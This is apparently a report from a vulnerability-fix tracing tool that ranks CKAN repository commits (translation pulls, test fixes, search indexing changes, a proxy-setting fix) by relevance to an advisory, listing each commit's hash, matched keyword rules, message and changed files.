    • + + ckan/i18n/am/LC_MESSAGES/ckan.po + + ckan/i18n/ar/LC_MESSAGES/ckan.po + + ckan/i18n/bg/LC_MESSAGES/ckan.po + + ckan/i18n/bs/LC_MESSAGES/ckan.po + + ckan/i18n/ca/LC_MESSAGES/ckan.po + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po + + ckan/i18n/da_DK/LC_MESSAGES/ckan.po + + ckan/i18n/de/LC_MESSAGES/ckan.po + + ckan/i18n/el/LC_MESSAGES/ckan.po + + ckan/i18n/en_AU/LC_MESSAGES/ckan.po + + ckan/i18n/en_GB/LC_MESSAGES/ckan.po + + ckan/i18n/es/LC_MESSAGES/ckan.po + + ckan/i18n/es_AR/LC_MESSAGES/ckan.po + + ckan/i18n/eu/LC_MESSAGES/ckan.po + + ckan/i18n/fa_IR/LC_MESSAGES/ckan.po + + ckan/i18n/fi/LC_MESSAGES/ckan.po + + ckan/i18n/fr/LC_MESSAGES/ckan.po + + ckan/i18n/gl/LC_MESSAGES/ckan.po + + ckan/i18n/he/LC_MESSAGES/ckan.po + + ckan/i18n/hr/LC_MESSAGES/ckan.po + + ckan/i18n/hu/LC_MESSAGES/ckan.po + + ckan/i18n/id/LC_MESSAGES/ckan.po + + ckan/i18n/is/LC_MESSAGES/ckan.po + + ckan/i18n/it/LC_MESSAGES/ckan.po + + ckan/i18n/ja/LC_MESSAGES/ckan.po + + ckan/i18n/km/LC_MESSAGES/ckan.po + + ckan/i18n/ko_KR/LC_MESSAGES/ckan.po + + ckan/i18n/lt/LC_MESSAGES/ckan.po + + ckan/i18n/lv/LC_MESSAGES/ckan.po + + ckan/i18n/mk/LC_MESSAGES/ckan.po + + ckan/i18n/mn_MN/LC_MESSAGES/ckan.po + + ckan/i18n/my_MM/LC_MESSAGES/ckan.po + + ckan/i18n/nb_NO/LC_MESSAGES/ckan.po + + ckan/i18n/ne/LC_MESSAGES/ckan.po + + ckan/i18n/nl/LC_MESSAGES/ckan.po + + ckan/i18n/no/LC_MESSAGES/ckan.po + + ckan/i18n/pl/LC_MESSAGES/ckan.po + + ckan/i18n/pt_BR/LC_MESSAGES/ckan.po + + ckan/i18n/pt_PT/LC_MESSAGES/ckan.po + + ckan/i18n/ro/LC_MESSAGES/ckan.po + + ckan/i18n/ru/LC_MESSAGES/ckan.po + + ckan/i18n/sk/LC_MESSAGES/ckan.po + + ckan/i18n/sl/LC_MESSAGES/ckan.po + + ckan/i18n/sq/LC_MESSAGES/ckan.po + + ckan/i18n/sr/LC_MESSAGES/ckan.po + + ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po + + ckan/i18n/sv/LC_MESSAGES/ckan.po + + ckan/i18n/th/LC_MESSAGES/ckan.po + + ckan/i18n/tl/LC_MESSAGES/ckan.po + + ckan/i18n/tr/LC_MESSAGES/ckan.po + + ckan/i18n/uk/LC_MESSAGES/ckan.po + + ckan/i18n/uk_UA/LC_MESSAGES/ckan.po + + ckan/i18n/vi/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Pull translations ahead of 2.10.5 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5f3317010965b23970249410376564983aaf51a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL, open-source
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Pull translations ahead of 2.10.5
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po + + ckan/i18n/de/LC_MESSAGES/ckan.po + + ckan/i18n/gl/LC_MESSAGES/ckan.po + + ckan/i18n/gl_ES/LC_MESSAGES/ckan.po + + ckan/i18n/he/LC_MESSAGES/ckan.po + + ckan/i18n/ja/LC_MESSAGES/ckan.po + + ckan/i18n/lv/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#5713] copy resources tests + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3cb5af251b5bfa0a7528d7ca3bea354ee1b7d0b3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: patch
      +
    • + +
    • +
      The commit message references some github issue: 5713
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#5713] copy resources tests
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/action/update.py + + ckan/tests/logic/action/test_create.py + + ckan/tests/logic/action/test_delete.py + + ckan/tests/logic/action/test_patch.py + + ckan/tests/logic/action/test_update.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Update pot file for 2.11 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c73f26064ab3a54422845fd8e2437f424b7f7cc8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Update pot file for 2.11
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/ckan.pot + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + add email_is_unique validator + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 38c89aae62eb5f8884169eca5e53ba75a95223d4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      add email_is_unique validator
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/schema.py + + ckan/logic/validators.py + + ckan/tests/logic/test_validators.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Pull translations + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4cccbccb57e2fca1eddae311b394049e64ab360d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Pull translations
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po + + ckan/i18n/mk/LC_MESSAGES/ckan.po + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Compile mo files + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 72c9ba39b9b36cf8d91b776a77a8657932aadd04 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Compile mo files
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo + + ckan/i18n/de/LC_MESSAGES/ckan.mo + + ckan/i18n/gl/LC_MESSAGES/ckan.mo + + ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo + + ckan/i18n/ja/LC_MESSAGES/ckan.mo + + ckan/i18n/lv/LC_MESSAGES/ckan.mo + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] various test fixes + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 622ae3e0f05b24ea76c96fd01853fb92bb70ef2b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: source
      +
    • + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] various test fixes
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/action/delete.py + + ckan/logic/action/get.py + + ckan/tests/lib/search/test_search.py + + ckan/tests/logic/action/test_create.py + + ckan/tests/logic/action/test_update.py + + ckanext/example_iresourcecontroller/tests/test_example_iresourcecontroller.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] datastore: use resource_patch for active flag + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 756f133a119635dfcaf6e09787eaf8e721efaf35 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source, patch
      +
    • + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] datastore: use resource_patch for active flag
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/tests/lib/search/test_query.py + + ckan/tests/lib/search/test_search.py + + ckanext/activity/tests/test_changes.py + + ckanext/datastore/logic/action.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] search-index rebuild error code, simplify + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a424975a72b63c15d88af04916afb6f36c763504 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: error
      +
    • + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] search-index rebuild error code, simplify
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/cli/search_index.py + + ckan/lib/search/__init__.py + + ckan/logic/__init__.py + + ckan/tests/cli/test_search_index.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] resource_create defer_commit requires reindex + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 307041f218eb6d823c356112942e22b5a7b8fa2f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] resource_create defer_commit requires reindex
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/action/create.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8400 from Roconda/backport-500-instead-of-405... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e9353217db787e1e986c542229664609aee86e36 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: return, error
      +
    • + +
    • +
      The commit message references some github issue: 8400
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8400 from Roconda/backport-500-instead-of-405 [Backport dev-v2.10] App returns 500 error instead of 405
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b70b035ba75fc9a0dc7ee01f3033f1803bc51fd3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    • +
      The commit message references some github issue: 8394
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10 [Backport dev-v2.10] Fix resource proxy download proxy setting
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] simpler package indexing, no system plugins + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 17f5c3bc6aadd680f4cc41e199c705ab8fe5d587 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: system
      +
    • + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] simpler package indexing, no system plugins
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8395.feature + + ckan/config/environment.py + + ckan/lib/search/__init__.py + + ckan/logic/__init__.py + + ckan/logic/action/create.py + + ckan/logic/action/delete.py + + ckan/logic/action/update.py + + ckan/model/modification.py + + ckan/plugins/core.py + + ckan/tests/plugins/test_core.py + + ckan/tests/pytest_ckan/ckan_setup.py + + ckan/tests/pytest_ckan/fixtures.py + + setup.cfg + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9dc0ef5512097450b678b7fcb7562481dc3c1363 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    • +
      The commit message references some github issue: 8393
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11 [Backport dev-v2.11] Fix resource proxy download proxy setting
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8386 from avdata99/include_site_user_id Include... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 81b5cbeb14297476b8d1a8030edc6d2b166fadcd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: include
      +
    • + +
    • +
      The commit message references some github issue: 8386
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8386 from avdata99/include_site_user_id Include the site_user id in `get_site_user` fn
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8392 from ckan/fix-download-proxy Fix resource... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 99590a131541b84f00641ff3bdc9cbb3246dbead +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    • +
      The commit message references some github issue: 8392
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8392 from ckan/fix-download-proxy Fix resource proxy download proxy setting
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18] Compile mo files + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + c18b4db2ef4adc55696ab751503153394bc6280e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18] Compile mo files
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/am/LC_MESSAGES/ckan.mo + + ckan/i18n/ar/LC_MESSAGES/ckan.mo + + ckan/i18n/bg/LC_MESSAGES/ckan.mo + + ckan/i18n/bs/LC_MESSAGES/ckan.mo + + ckan/i18n/ca/LC_MESSAGES/ckan.mo + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo + + ckan/i18n/da_DK/LC_MESSAGES/ckan.mo + + ckan/i18n/de/LC_MESSAGES/ckan.mo + + ckan/i18n/el/LC_MESSAGES/ckan.mo + + ckan/i18n/en_AU/LC_MESSAGES/ckan.mo + + ckan/i18n/en_GB/LC_MESSAGES/ckan.mo + + ckan/i18n/es/LC_MESSAGES/ckan.mo + + ckan/i18n/es_AR/LC_MESSAGES/ckan.mo + + ckan/i18n/eu/LC_MESSAGES/ckan.mo + + ckan/i18n/fa_IR/LC_MESSAGES/ckan.mo + + ckan/i18n/fi/LC_MESSAGES/ckan.mo + + ckan/i18n/fr/LC_MESSAGES/ckan.mo + + ckan/i18n/gl/LC_MESSAGES/ckan.mo + + ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo + + ckan/i18n/he/LC_MESSAGES/ckan.mo + + ckan/i18n/hr/LC_MESSAGES/ckan.mo + + ckan/i18n/hu/LC_MESSAGES/ckan.mo + + ckan/i18n/id/LC_MESSAGES/ckan.mo + + ckan/i18n/is/LC_MESSAGES/ckan.mo + + ckan/i18n/it/LC_MESSAGES/ckan.mo + + ckan/i18n/ja/LC_MESSAGES/ckan.mo + + ckan/i18n/km/LC_MESSAGES/ckan.mo + + ckan/i18n/ko_KR/LC_MESSAGES/ckan.mo + + ckan/i18n/lt/LC_MESSAGES/ckan.mo + + ckan/i18n/lv/LC_MESSAGES/ckan.mo + + ckan/i18n/mk/LC_MESSAGES/ckan.mo + + ckan/i18n/mn_MN/LC_MESSAGES/ckan.mo + + ckan/i18n/my_MM/LC_MESSAGES/ckan.mo + + ckan/i18n/nb_NO/LC_MESSAGES/ckan.mo + + ckan/i18n/ne/LC_MESSAGES/ckan.mo + + ckan/i18n/nl/LC_MESSAGES/ckan.mo + + ckan/i18n/no/LC_MESSAGES/ckan.mo + + ckan/i18n/pl/LC_MESSAGES/ckan.mo + + ckan/i18n/pt_BR/LC_MESSAGES/ckan.mo + + ckan/i18n/pt_PT/LC_MESSAGES/ckan.mo + + ckan/i18n/ro/LC_MESSAGES/ckan.mo + + ckan/i18n/ru/LC_MESSAGES/ckan.mo + + ckan/i18n/sk/LC_MESSAGES/ckan.mo + + ckan/i18n/sl/LC_MESSAGES/ckan.mo + + ckan/i18n/sq/LC_MESSAGES/ckan.mo + + ckan/i18n/sr/LC_MESSAGES/ckan.mo + + ckan/i18n/sr_Latn/LC_MESSAGES/ckan.mo + + ckan/i18n/sv/LC_MESSAGES/ckan.mo + + ckan/i18n/th/LC_MESSAGES/ckan.mo + + ckan/i18n/tl/LC_MESSAGES/ckan.mo + + ckan/i18n/tr/LC_MESSAGES/ckan.mo + + ckan/i18n/uk/LC_MESSAGES/ckan.mo + + ckan/i18n/uk_UA/LC_MESSAGES/ckan.mo + + ckan/i18n/vi/LC_MESSAGES/ckan.mo + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Update po files from Transifex + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 55e1892772c859d2885d713ac3fce6afc7a7cb2f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Update po files from Transifex
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/ca/LC_MESSAGES/ckan.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Update .tx/config file with 2.11 resource + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + ebc01f9fb91453679843f055fb035efd33148dda +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Update .tx/config file with 2.11 resource
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .tx/config + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Pull latest translations from Transifex + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3a9b5c17be56354ced12fac4798bad266baa74e4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Pull latest translations from Transifex
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/de/LC_MESSAGES/ckan.po + + ckan/i18n/fr/LC_MESSAGES/ckan.po + + ckan/i18n/he/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + add missing head_extras block added missing head_extras block used... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 31d5cbd519e46b48bf0e9b469f21075449bae4bc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      add missing head_extras block added missing head_extras block used in default templates ckan/templates/package/read_base.html and ckan/templates/package/resource_read.html (cherry picked from commit bf76742860c96579c79be64ab73412dff54349ac)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/templates/base.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'snokamedia-patch-1' + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 98d9120434c4df42567dae49eb33efbbb676f534 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: patch
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'snokamedia-patch-1'
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'patch-1' of https://github.com/snokamedia/ckan into... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7f33937777edd62d28627627fd8cac3d0f7e98ed +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: patch
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'patch-1' of https://github.com/snokamedia/ckan into snokamedia-patch-1
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + convert package extra value to string before storing @amercader does... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5ef886d091ff8e182b7a46897327537a9cb206aa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: issue
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      convert package extra value to string before storing @amercader does this resolve the issue you raised in gitter?
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/schema.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix: server error instead of 405 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6e0ab3fb4137cd7c51882d202cd8acaeb0f5221c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: server, error
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix: server error instead of 405
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/7616.bugfix + + ckan/config/middleware/flask_app.py + + ckan/plugins/toolkit.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 502aaa6601af0105ebcf12430748d31e1595db4b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: error
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
